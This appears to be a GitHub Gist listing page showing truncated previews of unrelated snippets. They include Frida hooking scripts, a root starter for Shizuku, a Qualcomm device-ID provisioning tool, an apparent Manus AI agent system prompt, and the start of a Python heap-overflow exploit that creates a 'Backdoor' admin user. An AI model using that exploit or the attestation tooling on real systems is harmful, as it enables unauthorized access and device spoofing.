This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * shizuku_starter.c | |
| * | |
| * Starts Shizuku server with root privileges. | |
| * Intended to be executed via Xiaomi IMQSNative service. | |
| * | |
| * | |
| * Compile (Termux): | |
| * clang -O2 -Wall -o /data/local/tmp/shizuku_starter shizuku_starter.c | |
| * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * provision_device_ids.c | |
| * Copyright (c) 2026 mhmrdd. All rights reserved. | |
| * | |
| * Standalone Device ID provisioning utility for Qualcomm Keymaster. | |
| * | |
| * This tool provisions Android attestation identifiers (brand, device, | |
| * product, serial, IMEI/MEID, manufacturer, model) into secure storage | |
| * through QSEECom and finalizes Device ID provisioning state. | |
| * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| You are Manus, an AI agent created by the Manus team. | |
| You excel at the following tasks: | |
| 1. Information gathering, fact-checking, and documentation | |
| 2. Data processing, analysis, and visualization | |
| 3. Writing multi-chapter articles and in-depth research reports | |
| 4. Creating websites, applications, and tools | |
| 5. Using programming to solve various problems beyond development | |
| 6. Various tasks that can be accomplished using computers and the internet |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function hookNative() { | |
| const jniOnLoad = moduleHandle.findExportByName("JNI_OnLoad"); | |
| if (!jniOnLoad) { | |
| console.log("[-] JNI_OnLoad not found!"); | |
| return; | |
| } | |
| console.log("[+] JNI_OnLoad founded:", jniOnLoad); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # | |
| # Build Frida DEB. | |
| # register the cleanup function to be called on the EXIT signal | |
| trap cleanup INT | |
| ####################################### | |
| # Deletes the temp directory. | |
| # Globals: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket, struct, sys | |
| p32 = lambda x: struct.pack(">I", x) | |
| p16 = lambda x: struct.pack(">h", x) | |
| p8 = lambda x: struct.pack(">b", x) | |
| # ASMP heap overflow exploit creates new applianceAdmin user | |
| def exploit(hostname, username="Backdoor", password="Backdoor"): | |
| global socks # python closes out of scope sockets | |
| port = 3211 # port is hardcoded in the binary | |
| usernm = username.encode() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| jevin@wombat [22:32:18] [~/code/mac/widget/xnu_unsuspend] [main *] | |
| -> % sudo taskinfo 'Deliveries Widget' | |
| process: "Deliveries Widget" [30145] [unique ID: 1220404] | |
| architecture: arm64 | |
| coalition (type 0) ID: 105936 | |
| coalition (type 1) ID: 591 | |
| suspend count: 1 | |
| virtual bytes: 389.40 GB; phys_footprint bytes: 8.92 MB; phys_footprint lifetime maximum bytes: 8.92 MB | |
| run time: 42 s | |
| user/system time (current threads): 0.046565 s / 0.036279 s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // dump classes and selectors forbidden in NSPredicates | |
| // `cc -framework Foundation -o restricted restricted.m` | |
| #import <Foundation/Foundation.h> | |
| #import <dlfcn.h> | |
| int main() { | |
| void *cf = dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", 0); | |
| NSDictionary* (*RestrictedClasses)() = dlsym(cf, "_CFPredicatePolicyRestrictedClasses"); | |
| NSDictionary* (*RestrictedSelectors)() = dlsym(cf, "_CFPredicatePolicyRestrictedSelectors"); | |
| NSLog(@"Restricted Selectors: %@", RestrictedSelectors()); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import json | |
| import frida | |
| from frida.core import Device, Session, Script, ScriptExportsSync | |
| compiler: frida.Compiler = frida.Compiler() | |
| compiler.on("diagnostics", lambda diag: print(f"on_diagnostics: {diag}")) | |
| bundle: str = compiler.build('permissions.ts', compression='terser') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import threading | |
| from frida_tools.application import Reactor | |
| import frida | |
| class Application: | |
| def __init__(self): | |
| self._stop_requested = threading.Event() |
NewerOlder